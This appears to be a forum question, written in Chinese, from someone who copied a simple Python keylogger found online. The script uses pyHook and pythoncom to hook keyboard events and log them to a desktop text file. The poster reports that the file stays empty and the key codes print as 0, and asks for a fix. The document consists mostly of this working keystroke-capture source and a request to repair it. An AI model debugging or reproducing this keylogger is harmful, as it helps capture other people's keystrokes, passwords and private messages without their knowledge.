我想尝试一下在网上找到的简单键盘记录程序脚本。该代码似乎可以工作。当按下第一个键时,将创建日志文本文件,但不会写入任何字符。我尝试添加print()来检查为什么是这种情况,并且每个按下的键0都在外壳中打印出来。 这是代码:
import pyHook, pythoncom, sys, logging
file_path = "C:\\Users\\user\\Desktop\\log.txt"
def KeyBoardEvent(event):
logging.basicConfig(filename = file_path, level = logging.DEBUG, format = '%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
print(event.Ascii)
return True
hook = pyHook.HookManager()
hook.KeyDown = KeyBoardEvent
hook.HookKeyboard()
pythoncom.PumpMessages()
有解决方案吗?